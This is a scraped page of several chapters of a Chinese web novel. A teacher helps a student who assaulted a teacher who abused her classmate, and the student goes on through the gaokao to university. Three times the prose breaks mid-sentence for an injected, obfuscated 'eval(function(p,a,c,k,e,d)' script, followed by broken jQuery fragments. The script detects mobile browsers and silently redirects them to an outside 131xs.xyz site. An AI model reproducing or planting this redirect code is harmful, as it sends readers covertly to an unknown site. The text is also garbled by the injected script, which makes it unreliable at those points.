倘若是原先的他,隗祯心想,一个诱骗女学生的江鸿杰,死不足惜。濮怀玉就算做得过分太多,他也只会赞美她的正义和果断。 “但是隗老师,效果立竿见影。” 能不立竿见影吗,竿儿都直接捅到人屁股里去了。隗祯起初以为她在说笑,玩个有点恶俗的谐音梗,蹙起眉刚想训导“现在就算了,不要在其他老师面前讲粗话”,一双眉却在随后不自觉舒展开来。 因为,他看见了悠闲坐在沙发上拿濮怀玉手机玩游戏的付可心。 此后,当付可心想起这个人生中似乎再也无法逾越的高山,这张猥琐的、油腻的、口口声声说“爱”的脸,一定会有一个画面是他痛哭流涕着在地上打滚,然后被濮怀玉粗暴地拿生|殖崇拜招呼回去的场面。 所有的不可一世,都会因为今日的败笔变的滑稽。 “隗老师,你会帮我保守秘密的,对吧?”濮怀玉认真地注视他,就像在教室里对着黑板仔细思索被抄写在上面的数学题,料谁都不会想到这个表情对应的是邀请另一个老师帮自己保守自己捅了另一个老师屁股的秘密。 隗祯无奈地长叹一口气:“濮怀玉,我只能保证我不会主动跟别人分享。假如校方甚至警方问到我,我会配合调查。” 付可心听到了,骤然起身:“隗老师,推到我身上吧。是因为我……我想报复!” 事实上,当江鸿杰被惊吓到晕厥过去,濮怀玉确实把木棍交给了付可心,让她“试试”。付可心胆子小,并且担心自己第一次下手会没轻没重,因此只是格外“温柔”地敲了一下他的屁股。 “我不要濮怀玉进监狱。”付可心很坚决,走到隗祯桌前,俨然是要跟濮怀玉共进退了,“我愿意讲清楚我的遭遇,而且我……我有精神类疾病,不会坐很久的牢。” 濮怀玉面无表情拍了一下她的后背:“没到坐牢的程度。江鸿杰敢不敢报警都是一回事,他的事要是爆出来,要坐牢的只会是他。” 她失算了,江鸿杰挺理直气壮,还真捂住屁股报了警,找到了濮怀玉这儿。彼时不过两天,又是一个傍晚,隗祯悄悄点了外卖给两个刚干了大事的“好同学”宽宽心。 之所以得悄悄地,他才来一中工作了半年多的时间,作为新教师得夹着尾巴度日。这里的生存的哲学是,只要是新老师,总能被抓到被训话的由头,点外卖更是大忌。 付可心的吃相和食欲都逐渐靠近濮怀玉,狼吞虎咽的同时不忘说“隗老师你好会吃”,隗祯却总有不好的预感。 果然,加餐结束没多久,魏老师就匆匆找过来,说警察要找濮怀玉谈话,焦急地问他出了什么事。 “报警人是江鸿杰吧。”隗祯看了眼里头正在写作业的二人,“学校给他留足脸面,他是存了心要捅出个什么啊。” 实在是太过愚蠢,怎么就学不会吃点哑巴亏呢。“魏老师,你回去看着学生吧,我带她去就行。你放心,不是什么大事。” 等魏老师离开,简单跟二人交待过,隗祯带她们离开,打了车前往警察局。 江鸿杰就在那里,一见到濮怀玉就下意识伸手捂屁股,然后指着她恼羞成怒:“你爸妈怎么教育你的?这种龌龊事,你一个女生怎么干的出来的?” 眼前的嫌疑人是两个还没成年、即将面临高考的女学生,警员让他冷静下来,不要张牙舞爪影响办案。 而隗祯提前跟濮怀玉通过气,知道作案现场没有监控,很沉得住气:“江老师,我姑且称呼你一声老师,你确定你没有因为精神错乱记错了吗?我知道那件事对你打击很大。” 确实没有监控明确显示两人捅了江鸿杰的屁股,因此警员继续询问:“您是两位的任课老师是吧?‘那件事’具体是什么事?” 江鸿杰脸色一变。他方才太激动,甚至没有注意到隗祯——隗祯!他几乎要冲上去,死死捂住他的嘴。 “我是学校的心理老师,我姓隗。‘那件事’涉及同学的隐私,我有点难以启齿,但江老师确实没有任何立场报警。” 隗祯转而指责起江鸿杰,“江老师,濮怀玉同学跟我说了,她只是想找你叙叙旧,问你最近没来学校的原因,没想到你跟见了鬼一样。你是不是最近压力太大了,有些生|殖焦虑,所以幻想了这样一个场景?我建议你去看看弗洛伊德的书自愈……” 警员很不满意他的回答:“隗先生,我们是在办案,请你配合我们回答问题,不要随意打岔。” “——警察同志!”结果江鸿杰从喉咙深处憋出这样一个词,艰难道,“我还是……撤销报案吧,我可能真的是有点……幻听了。” “警察叔叔,我要说‘那件事’。” 声音从后方传来。 因为,这里不仅有濮怀玉和隗祯面对,还有付可心。 此前付可心的父母担心事情闹大了,会给她产生不可估量的毁灭效果,所以并未报警。 他们确实很爱这个宝贝女儿,但也爱的很传统。付可心一家属于工薪阶层,没有在这里了结事端、再带可怜的女儿换一个地方重新开始的物质基础,只能忍着悲痛使用障眼法。 现在,她站在濮怀玉斜前方,帮隗祯击破那点难堪的欲言又止:“江老师□□了我,被学校停职了。” 尽管这一个过程需要攥着濮怀玉的衣角,说话的时候也垂着眼,不能跟警员对上视线,“可以从、从学校那边了解,我也有……治疗抑郁症的药单。” 江鸿杰没想到从来内向的付可心会在节骨眼上突然给自己来一刀,他原本很有自信,要像老师一样指手画脚一番才肯罢休,如今只剩愕然:“你有抑郁症?你是在诓我吧——” “江先生,你现在有猥亵未成年的嫌疑!请你不要打断当事人!” 这么看,这个姓江的报案属于自投罗网。 警员连忙拉来另一个女性警员,附耳对她说了几句话。于是接下来,付可心都在跟她交流。 “……警察姐姐,我相信江老师肯定是因为太内疚神经错乱,所以才会觉得我的同学去找他是为了……做那种事……” 付可心一副要哭的表情,“江老师要是一点都不内疚,那我该怎么办呢……” 那警员竭力忍住心疼的表情,心里已然有了偏向:“当初为什么没有人报警?” “我妈妈说过,如果报警,肯定有人能打听到在我身上发生了不好的事,到时候等于所有人都知道了。我……我真的好害怕。” 其实已经有了不同的声音,付可心能够感受得到。她鼓起勇气上前询问,得到的是避重就轻,还有那样尴尬的表情。 纸终究包不住火。 “但是我想让这件事结束。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531141|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝不是演戏,付可心的话全然发自内心,压抑了太久太久。 从前她不能表达,就连思考都变成了漫长的刺痛,现在她的手在空中胡乱地动,虽然没有规律,但显得很激动——她想要说了。 “濮怀玉和隗老师一直都在帮助我。”从依恋地攥住濮怀玉的衣摆,到拉住她的胳膊往自己的方向带,付可心努力说明白,“是隗老师举报了这件事,濮怀玉一直陪着我。她是好人,不是江老师说的很坏很坏的人。” 从付可心表达的整个过程看,警员可以依稀分辨得出来,她的确因为精神方面的问题有轻微语言障碍。 “……我明白了。” 在听到另一桩案件成功立案后,她紧握的拳终于松开些许。而江鸿杰腿一软差点跌坐在地上,他马上要求打电话给自己的妻子,场面乱作一团。 濮怀玉从头到尾满脸老实地站在一旁,没有说过一句话。付可心流眼泪的时候,她才动起来递纸巾。 擦拭着眼泪,付可心无助地抬起头:“马上大家都会知道了……濮怀玉,我该怎么办?” “一直相信好人的存在。”濮怀玉轻轻捂住她的耳朵,“坏人的声音不要听。” 她大哭起来。宣泄地哭,为自己哭,为一场隐形拉锯战而哭。 但无论如何,有了这件事,付可心感受到的不再是一边倒的孤立无援。 回到学校,付可心终于在人员密集的教室坐下。朋友询问她之前为什么走、今天为什么回来,她挤出一点笑: “我慢慢告诉你,可以吗?我现在说话,比较困难。” 后来,3班的同学写联名信,要求辞退江鸿杰,一切顶格处理。拿着联名信跑到一个又一个同学面前的,是此前被付可心认为和自己疏远的朋友。 师生的强烈要求,再加上警察局派人来调查,江鸿杰先前所有的努力功亏一篑。或许以后他能换一个地方教书,但他目前经历的绝对是人生的最低谷。至少在这里,名声彻底臭了。 “孙茉,茉茉——再帮我们拍一张吧!” 现在,秦紫怡赖在成年礼结束后遗留下来的“成人之门”里不走,还非要一手拉一个,左手拉着濮怀玉,右手拉着卫殊,“我刚刚突然想起来有个特别妙的姿势!你们两个别杵着,跟我学!” 这位跟濮怀玉性格南辕北辙的好朋友实在太过人来疯,恨不得把大疆内存都填满,孙茉只好任劳任怨蹲下,镜头对准三个姿态各异准备去打boss的女killer。 “一,二,三——” 秦紫怡腿有点抬不动了,忍不住问她“好了没有”。孙茉站起身,查看成果后比了个ok的手势。 秦紫怡连忙凑过去,时不时发出“这张拍的太好了”“这张跟我想的不一样,但是好有创意”的声音,虽然聒噪,但孙茉还挺爱听。 “回头传到你手机上。” “谢谢——” 秦紫怡忍不住回味这一珍贵时刻,卫殊则悄悄靠近濮怀玉:“我前几天听说付可心休学了,是病情严重了吗?” “没有,她恢复得挺好的,就是落下太多功课,参加高考太勉强。”濮怀玉低声告诉她,“原本可以考个很棒的211,现在连本科都难,肯定会有点不甘心。” 卫殊松了口气,分析起来:“‘不甘心’说不定是治愈的前兆,毕竟脑袋可以开始考虑别的问题了。就让该死的人继续留在监狱好了,强|奸犯应该是食物链底端吧。有江鸿杰受的。” 濮怀玉点头,随后道:“对了,学校给了我一笔不小的资助费用。等高考结束,我请你们吃饭。” “我怎么感觉像封口费……算了,有钱不拿是傻瓜,有白饭不吃也是傻瓜。” “谁要吃白饭?!”秦紫怡触发关键词,突然凑过来。 “是濮怀玉要请客。放心,咱们学校已经付过钱了,尽管吃。” “好耶!” 25. 025 如果系统要采访他“友好值迈入90大关是什么感觉”,隗祯会回答:谢邀,人在办公室,被任务对象起了外号。 “隗老师好”——这是有其他人在场的情况下濮怀玉的称呼。 “小葵花老师好”——这是他们两个大眼瞪小眼的时候,濮怀玉问好的方式。 她甚至真的送了他一朵向日葵,是用毛线织就的挂件。隗祯不是确定,难道是她亲手织的?那他也太罪过了,耽误孩子学习。 但少女只是双手插兜,满脸无所谓地说:“那又如何。” 然后濮怀玉告诉他,向日葵是挑剩下的,好看的都被秦紫怡和卫殊拿走了,一个是M记的薯饼,一个是冰淇淋。秦紫怡还给妹妹选了一条热带鱼。 这么看,向日葵确实显得笨拙,还有点隐隐的土气。 “不管怎么样,都谢谢你。” 隗祯最终把向日葵挂件挂到办公桌旁黏贴的挂钩上,坠落的一刹那有点像星星。他对向日葵没有特别的好恶,中意的不过是兰花的一点淡雅香气,这一世也因为经济条件约束和工作繁忙戒掉了喷香水的习惯。 好吧,左右都是心意。 隗祯心想,别的老师想要剩下来的一个,还没有呢。 送完礼物,濮怀玉没有离开,她停在原地。 “隗老师,我刚才是骗你的。” 说完,她才转身离去。脚步清晰,渐渐变快,似乎小跑了起来。 隗祯愣了愣。什么意思? 「没有挑拣的说法。濮怀玉给每个人的挂件,图案都是自己选择的。」系统帮他解释,「不止你的向日葵,还有魏老师的海豚妈妈带孩子,院长的小鸟,陆乔的樱花钱包,都是濮怀玉考虑了很久决定的图案。」 「不过,你的确实是最丑的。」 没有理会系统的阴阳怪气,隗祯看向工位旁侧的向日葵。 ‘小葵花老师!’ 他笑了笑:“我不觉得丑就行。” 将海豚妈妈带海豚宝宝的挂件送给魏老师的时候,她正在办公室。濮怀玉原先准备用问题目当借口,结果一到门口,邱老师办公桌前站了一男一女,听声音似乎在训话。 那张熟悉的脸在两个穿校服的身影后若隐若现,濮怀玉突然不想进了。不管什么理由,下次吧。 然而,邱老师透过虚掩的门先行看到了犹豫着想要离开的她,回头看了一眼魏老师,看热闹不嫌事大:“魏老师,看看门口,这不是你们班那个谁来了吗?” 濮怀玉不得不走进门。与此同时,邱老师的训话声也更加真切。 “你们男生啊,这个节骨眼能不能耐得住一点?到了大学,女生不要太多。知道大学门口什么生意最好?酒店!到时候你想怎么谈就怎么谈,没人管你。蒋骏,你说呢?” 蒋骏讷讷地“嗯”了一声。 濮怀玉迅速地瞥了那边一眼。女生难堪到涨红了脸,耳朵更是能滴血。 这种羞愤几乎是罪恶的,容易使说话人兴奋,因为这正是TA想要看到的。至少邱老师在女生堆里口碑不好很大程度就是因为不依不饶的讥诮,一直说到女生涨红脸大哭都不肯罢休。除此以外,就是对男生的明贬暗褒。 发生了那样的事,她连收敛二字都不知道怎么写吗? 眉一横,濮怀玉收回了迈向魏老师办公桌的脚步,就这样静静地看着她。 邱老师当然注意到这一比眼前一男一女还要高挑的存在,感觉权威被冒犯:“你站在我这边干什么,而且你跟老师是什么表情……!” “邱老师,刚才那些话也不适合跟学生说吧。”魏老师探出头,“之前不是才开过会吗?要注意表达的。” 中年女老师脸上陡然生出几分忌惮。尤其是触及濮怀玉的视线,她的后背生出几分惊悚的冷意。 “……你别这么看着我!”邱老师差点要脱口而出,说“我看就是你捅的江老师屁股”。但想到江鸿杰是强|奸犯,她还算要脸,捅屁股也有点不雅,最终只是呼哧出一点很有震慑力的气息。 濮怀玉镇定自若:“邱老师,我只是想告诉您一件事。您想错了,大学附近生意最好的,其实是小吃街和饭店。” 曼曼姐姐会给她寄吃的各种各样的饭,夜市就在其中,原因是这位善良的姐姐很喜欢跟年轻人一起畅游的感觉,他们正象征着不断更新的生命活力。 然后,濮怀玉来到魏老师桌前,借问题目的工夫,偷偷将海豚挂件传给她。 眼前的女老师先是惊讶,然后皱纹舒展开来,就好像海豚跃出水面又落下后,所有的波澜都被抚平了。 邱老师无言以对。她抬头看向眼前睫毛因为潮湿顺在一起的女学生,感到一阵的恍然和不自在——外表其实是挺好看、挺清爽一女孩,跟“不自爱”有什么关系吗? “……你也是,到了大学有不少帅哥等着你呢。到时候你要考虑的就不再是躲着谁,而是怎么样躲开那种不把女生当回事的男生。” 那女同学一副下一秒就要原地开始抽噎的模样,却说出有些强硬的话:“邱老师,所以你能收回刚才你跟蒋骏说的话吗?我可以跟蒋骏分手,但你的话真的让我很不舒服。” 前面串门的年轻女老师回头,笑嘻嘻的:“邱老师,现在不流行这种啦。你要是想女孩碰不上这种坏男生,不是一味教女孩擦亮眼睛就行的,你刚才就不该那么教育男生。” 这下邱老师的脸真的红了,可她面对的不是学生,可以在自己一厢情愿的小王国丢下一句“谁爱上这课谁来”,然后愤而离开;她面对的是其他女老师,还有一个等着她的可恶女学生。 最后她沉着脸:“我收回我的话。” “好的,那我就当蒋骏是邱老师口中那种经常会带女生开房的男人了。蒋骏,我们今天分手吧。” 女生后退一步,对邱老师鞠了一躬:“高考完,我会给邱老师送花,感谢邱老师今天对我的教导。” “马上就要上物理课了,我就先走了。邱老师再见。” 濮怀玉也趁机站起,对魏老师晃了晃手,紧随女生出门。 女生出了门,轻轻对她道谢。 这大概是临近生日,最让濮怀玉感到舒心的一个场景了。 对方道谢过后,甩了一下手:“付可心同学都那样了,邱老师真让人失望!” “或许邱老师能理解这些事的日子,并不在今天。”濮怀玉平静地宽慰她,“——直到不能躲避,变的息息相关的那天。” “至少付可心渐渐好起来了。江老师还是邱老师,还是选邱老师吧。” 在他们之间选择谁,实在很清楚。 当然,这并不意味着代表付可心原谅可能造成二次伤害的加害者。但是等“江老师”这样的男性在选择中一次次被鄙弃,越来越多的“邱老师”也会失去坚守的那片错误的淤泥,她们终究在长途跋涉中找寻到真正的沃土。 很可惜,不是现在。 女生依旧在耳边愤愤不平:“江鸿杰不配称作老师!” “简直不配称作人类。”濮怀玉附和道。 她们就这样最终分散,回到各自的班级上课。或是评讲新考的试卷,或是老师拿出一道例题给同学查漏补缺,总有的忙。 但确实有那么几分钟,她们在狭窄的办公室站在了一起,连同那个被伤害过的、此刻并不在场的灵魂。 一日午后,濮怀玉抓紧时间乘上电梯,前往六楼。 “叮”。她的脚步有点急。 是隗祯让她来的,说什么“尽快到”,少见地指使她做事。 从经验来看,此前这位隗老师从没有含糊其辞、不把理由交代清楚的时候,总是尽可能明晰边界,各种意义上的;依第六感看,濮怀玉则觉得人总有特殊情况,难免急切,需要帮忙无可厚非。 毕竟,他们是一对关系不错,同时分寸感把握得相当恰当的师生。隗祯还开过玩笑,倘若自己的母亲还在世,应该会相认她作义女。 当时,濮怀玉看着他:“你还记得你的妈妈怎么对你的吗。” “……” “你很幸运。”没听到答案,但也已经有了答案,她自顾自点头。 好吧,偶尔也会像这样,有分寸拿捏得不合适的时候。这时往往是濮怀玉先一步打圆场,让分寸感回到应有的位置上。 “那挺好的。”少女抢先一步评价,“那一定是位很好的母亲。” 她的包容,让隗祯生平第一次想听到友好值退步的提示音,可是没有。 濮怀玉是真心实意觉得,他的母亲待他好,他也记得这份好,是一件很不错的事情。尽管她脸上没有表情,但隗祯就是这么觉得。 就像寒假在随愿孤儿院的时候,隗祯突然很不会看眼色地问起被领养的孩子,“他们以后会想念这里吗?这里真的很好”。 濮怀玉回答:“过的幸福就不会。小孩的忘性很大,容易见异思迁。” 她总是愿意为别人的幸福衷心祝愿。 ……而他,渐渐地希望她可以自私一点。 他希望在濮怀玉的生活中,也能存在独一无二的幸福时刻。不是为了别人,而是为了自己,全然为了“濮怀玉”这个人。 如今他为这一时刻准备好了,有些忐忑地在办公室等待。 “隗老师?” 脚步声过后,濮怀玉情不自禁闭眼——她听到了礼花声。 随后睁开一双死鱼眼,她问:“等会儿这些纸片需要我来清扫吗。” “当然不需要。你是今天的寿星,怎么可能让你打扫。”隗祯也有点尴尬,没有经济能力支撑的惊喜要是有点创意,姑且有点看头,可他也是赶鸭子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538716|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架,好不容易才逮到这一天只有他坐班、连个学生都没有的时刻,创意实在无处往细里考虑。 “还有……稍微等我一下。” 他从里室推出巧克力蛋糕,表层的脆皮微微融化着。蜡烛正在融化的地基上燃烧,烛火汲取着冷意,竟也没有分毫动容,只是静静地燃着,成了某种刹那的永恒。 “毕竟是冰淇淋的,之前藏冰箱里的,结果才拿出来不久就受不了。”隗祯垂眸去看她的表情,和静默燃烧着的蜡烛一样恒温,“先吹蜡烛吧,不然就吃不了了。” 濮怀玉禁不住轻轻叹息,有些无奈。 “……知道了。” 吹蜡烛之前要许愿。濮怀玉的愿望无非是孤儿院的孩子都能有个好归宿,院长和陆乔的身体都健康。至于她自己的人生,她从来不会许愿。 许完愿睁眼,热风吹拂,蜡烛在嘴唇前灭了。“吃蛋糕吧。”她对隗祯伸手,“寿星要切蛋糕了。” 隗祯不嗜甜,等濮怀玉切完,只得到了小小的一角。 “那这么多就都是我的了。” 当然是开玩笑的,濮怀玉还是单独给自己切了一大块,剩下的看在炎热的气候,或许会尽快分给别人,比如悄悄给何老师的女儿投喂一块,就像上学期那样;或者给来咨询的同学。 他们很少这样面对面品尝同一个食物,即便先前在孤儿院时也没有。濮怀玉是小孩子里的大人,但还是小孩,得坐小孩桌,隗祯则坐大人桌。 这样似乎不太礼貌,作为师生,拉开点距离最好。隗祯自认为是个很讲礼节的人,一时间想要出言打岔,恰好想起蛋糕盒上松松垮垮的不规则环形纸,那是个王冠,抓到救星般起身。 “对了,忘了这个。” 濮怀玉有点疑惑,但还是询问:“不是已经许过愿了吗?” “你是寿星,总得需要一个标识。” 就这样,濮怀玉勉勉强强将王冠围绕头颅一周。一日的寿星,一日的国王,绕着广场行走的一人仪仗队。 就连教导寿星的老师都得毕恭毕敬,可不就是国王。 濮怀玉捧起蛋糕,就像她的头发捧起塑料纸王冠:“你从哪里知道我的生日?” “李院长那里。”隗祯顿了顿,“可能还有秦紫怡的功劳,但我分不太清楚了。我只记得,不止一个人希望你能过一次自己的生日。” 濮怀玉埋头吃了一大口蛋糕,巧克力的味道很醇厚,要在她的舌头上用一日之功砌出城堡,再在分秒间柔软地融化,抚摸每个角落,总之没有丝毫劣质的错觉,不是便宜货,虽然隗祯只是个普通心理老师。 得加上前缀,「不爱吃甜点」的普通心理老师。 “所以,这不是我一个人的愿望。” 隗祯换个角度,“濮怀玉,你看看你,前前后后送出那么多礼物呢,就没想着收回来一次吗?” 她不假思索:“没有。如果是为了收回而赠出,就没有意思了。” “为了收回而赠出”,濮怀玉就像一个年轻的寓言匠人,轻而易举揭露了隗祯施展善意的依据。 而在国王的英明面前,隗祯的私心无所遁形。 “蛋糕很贵吧。”她突然询问。 神采重新回到眼里,隗祯微微摇头:“只是个可以打包的蛋糕,能昂贵到哪里去。” 他倒也像个月光族所属的年轻人一样,或许比那还要堕落,能轻易预支下个月的生计。但这个生日蛋糕,隗祯无论如何都不能应付地对待。 虽然,这么说确实有点没头没尾。濮怀玉没有听懂,跟打包有什么关系,但她还是继续吃了。 而在隗祯的认知中,不能打包的、城堡一样美轮美奂宛如艺术品的蛋糕,才是真的昂贵,濮怀玉的生日宴应该配上这个。但他没有意识到顷刻间意识的分歧,就连系统也无法捕捉如此细节的生活体验。 系统只是继续下个阶段:「等任务对象的友好值满,系统会放开对宿主的职业限制。」 「……原来你也有看不下去的一天啊。」 是濮怀玉的十八岁。他出神地想。 她的十九岁生日,他是否还能这样悠闲地准备庆祝呢? 后面究竟有什么等着她,吃蛋糕的少女不知道,他也不算一清二楚,但在她的十九岁那里确实有个要人命的死结。 ——明明有那样笃定的大好前程,正在前方等着她。 走的时候,濮怀玉带走了两块蛋糕,小心地装进隗祯提前备好的盒子里,落下了王冠。 活动课上,窗外隐隐传来同学们嬉笑打闹的声音。隗祯的轻盈却像被尽数偷走,只有重逾千斤的沉默。 隗祯莫名生出了几分怨怼之心。对命运,对操控命运的那位年轻作者,为什么要折磨一个跟她同龄的孩子。 他开始想,为什么一定得是濮怀玉? 26. 026 高考前夕,一中给高三生准备了定胜糕,既为“一定胜利”,也为“步步高升”。 秦紫怡跟卫殊聊起订的酒店,然后惋惜地发现两个人虽然都跟考点靠得近,却没有碰到一处。 相比起她,卫殊放松很多:“算了吧,我们还是不要碰见了。看见熟人,你会紧张的。” 察觉到濮怀玉不语,她扭头:“高考那几天只能有考生进出,你不能回一中住宿舍,怎么办?” “回家。”她理所当然,“我回家。” 两人的视线暗自在空中交错。她们当然知道濮怀玉口中的家意味着什么,但问题是濮怀玉的“家”离作为考场的六中很远。她早晨要准时抵达考场,得起一个大早。 “你准备怎么去?” “骑自行车去。坐公交可能会耽误。”濮怀玉慢条斯理,“反正家里的自行车没人骑。” 说到这里,秦紫怡忍不了了,就连卫殊都眉头紧锁。 人生只有一次的高考,濮怀玉是什么等级的苗子,她们甚至比作为班主任的魏老师还要清楚。结果住那么远不说,多少高三生的家长这两天连食谱都精心制备,更别提考试路上的悉心呵护,恨不得含在嘴里送到考场去,濮怀玉却得早起蹬自行车。对比之鲜明,让人很难没有话说。 更何况,濮怀玉是她们最好的朋友。这种事既让人担忧,又引人心酸。 “我们俩都有没用完的压岁钱,给你开个房间睡绰绰有余,真不贵。”秦紫怡都想好了,“你住我的酒店,开个标间,这个床睡不爽还有那个床。” 卫殊立马不同意:“那可不行,秦紫怡心理素质不行,还是跟我一个酒店吧。” “喂!你应该让她自己选!”秦紫怡叉腰,气到要变作活火窜天。 卫殊反问的语气很有挑衅意味:“我替你考虑,你冲我吼什么?” “我都不好意思戳穿你——” 说是吵架,更像时常有的增进感情活动。濮怀玉打了个哈欠,表情有了点细微的变化:“所以这个点,你们订得到房间吗?周围肯定都订满了,不用我说。” “我现在这样挺好的,睡在哪里不会影响我。”濮怀玉在指间转动水笔,“零花钱自己用吧,别惦记我了。” 除开她俩,魏老师也来问,心有焦急却不能流露,好像只是因为两人多一层互敬互爱的师生情谊便来问询。 “魏老师,我自己可以处理好。”濮怀玉瞥一眼,魏老师已经将小海豚挂到钥匙上面,这让她更宽慰,目光重新游移到老师双目,“您真的辛苦了,高考的这几天就当作休息吧。” 虽然奇异,但魏老师带了这么多学生,还是头一回能从一个学生身上获得安定感。 “真没事?” 濮怀玉点头,少见地微笑:“我很珍惜去燕京的机会,不会轻易放弃的。” 至于隗祯,他牵挂着濮怀玉的安排,但也只是趁着在教师食堂碰面的可能,终于“堵”到魏老师,问起这个特别的学生。 “濮怀玉说自己都能安排好。这可是我们这一届的头号种子,学校早就派了老师去问,她那时候就说不用麻烦学校。” 隗祯:“她大可以麻烦一下。” “回家去,对她来说可能是件好事。别的孩子我可能会觉得太不听劝,这个节骨点犯倔是拿自己的前程开玩笑。但濮怀玉不太一样。” 魏老师是真的把濮怀玉当作大半个女儿来看,心上反起淡淡涩感:“她的心智,是很成熟的。这回真得是我们做老师的,反过来去信任一个学生了。” 高考当天,濮怀玉起早,吃饭吃得不太仔细,就带着文具往考场奔了。 第一门语文,是短板也不是,翻来覆去最多就那么点分。写完作文还剩十分钟,卡得正正好,够她再检查一遍,就这么在打铃过后交了。 中午吃的是订的盒饭,一中的学生按班级有自己的休息室,空调打得很舒适。不管别人有没有睡着,反正濮怀玉睡着了,睡得跟昨晚一样好。 第二门是数学,重要性不言而喻了。濮怀玉一提笔,琢磨出了各方面的不对:觉得不会出难题的出了,觉得会出难题的知识点几乎都简单了事。 就这样,等到全部写完,也还剩二十分钟检查最基本的计算。 当天考完,数学就上了热搜,后面跟了一个“爆”字。但濮怀玉没有智能手机,睡前玩了一会儿贪吃蛇和俄罗斯方块,雨露均沾,然后获得了婴儿般平静的睡眠。 就这样直到最后一门生物结束,濮怀玉回到家,寻思快要到饭点,便钻进食堂后厨,跟陆乔一起在大桶、大锅里搅弄风云,经营好这一处容纳孩子们的避风港。 陆乔没有阻拦她,也没有问起考试,只问濮怀玉今晚有什么创意,做点新奇的饭菜给孩子们。濮怀玉笑,说大姐姐又要做黑暗料理,孩子们今晚有福了,可把她气的够呛。 出成绩是在电话里,燕京大学的招生办来电。 刚开始接电话的是院长。老人已经不是遭受得起大喜大悲的年纪,连画带猜总算请来菜园里玩泥巴的濮怀玉。 “喂?” “可以啊,地点你们定吧,我会去的。” “对贵校什么看法?……不出意料,应该就是燕大了吧。” 这段经历直到毕业典礼都被秦紫怡和卫殊津津乐道,濮怀玉真的像爽文女主一样被各校招生办追着发福利。尤其是沪城的学校,财大气粗,开出了相当丰厚的奖学金,要想拿到只有一个门槛,就是去那里上学。 但濮怀玉依旧选择了燕京大学,学电气工程,进可做工程师,退可考国家电网。“还是得有个编制,给国家做贡献”——院长经常跟她念叨这句话,濮怀玉听进去了。 卫殊笑称:“濮怀玉啊濮怀玉,这下你可真是名垂一中校史了,以后就是杰出校友。”她未来想做老师,因此选了沪城一所头部985的数学专业,但以后的事谁知道呢。 濮怀玉不是很在乎这个名头,道:“我也只是第二名而已。” “喂,你好意思说,你是在省里排第二!”秦紫怡扯她的脸。她考的也不错,最终选择去沪城的另一所C9学校学医。卫殊为此说,就算两个人在一个城市,估计也不太能见面了。 “但是第一名也在我们学校。”濮怀玉有理有据,“她得比我多一点关注,否则就没有必要分第一第二了。” 平时在年级考三四十名的女同学,看着不声不响,有股埋首书卷的钝气,在最后关头凭踏实摘下桂冠。 濮怀玉见过她,摘下眼镜就没有旁人以为的钝气了,反倒有股即将大展身手的神采。 “那你也在省里排第二,是开天辟地的第二人!” “吾友之美我者,私我也。” “唉。”卫殊的叹气夹在二人的对话里面,“这样的日子真是过一天少一天。” 濮怀玉并不忧虑,她说:“只要你们不有了新人就忘了旧人,我就在燕京或者隋城,好找得很。” 这是一个再平常不过的日子。暑热交迭,阳光正璀璨,无非又是一届学生满怀雄心壮志地离开,倒也不负盛阳。 濮怀玉坐上电梯,按下数字六,感受片刻的失重。 见过任课老师,再跟魏老师谈笑,最后还得专门跑一趟这一栋楼的办公室。 一进门,凉意袭来,何老师的女儿披着外套坐在桌前写作业,桌上摆着一块巧克力布朗尼。“是布朗尼啊”,濮怀玉多看一眼,确定过后才知道自己并没有穿越时空。 而隗祯正在翻阅来访登记名单,那里面已经很久没有三人组中任何一个人的名字了。 他刚要推眼镜,便听有人说:“隗老师。” “是你啊。”隗祯抬首,笑道,“濮同学,这边坐。” 他真心为濮怀玉高兴,心态跟刚见到濮怀玉时完全不一样。她真的太聪明、太出色了,就是偶尔太独立,连学校的照顾都拒绝。她本可以选择活得更轻松一点的。 “我都听说了,你要去燕大念书。”人逢喜事精神爽,隗祯前世从没有当过老师、养过孩子,现在倒体味出几分别样的喜悦来,“你的人生会越过越好的,濮怀玉同学。” 即便他知道,自己没有真正养过谁,对濮怀玉无非是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545333|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽一尽做老师的职责。但看到她顺利地走出一中的校门,即将去往比隋城更大的地方,也情不自禁有点自鸣得意了。 濮怀玉:“隗老师,你越来越有老师的样子了。” 这本该是句委婉的称赞,隗祯眼角眉梢笑时牵动的波纹却像是瞬间被抚平了不少,被一只温柔的、残忍的手浮在半空。 “谢谢你。” “我听说,最近学校引进了一位新的心理老师。”濮怀玉不疑有他,“隗老师,您现在也可以给新来的老师提供示范了。” 提起新来的心理老师,隗祯其实隐约有点头疼。他没想过在教师行业深耕,如今却也干上老带新的活计了。 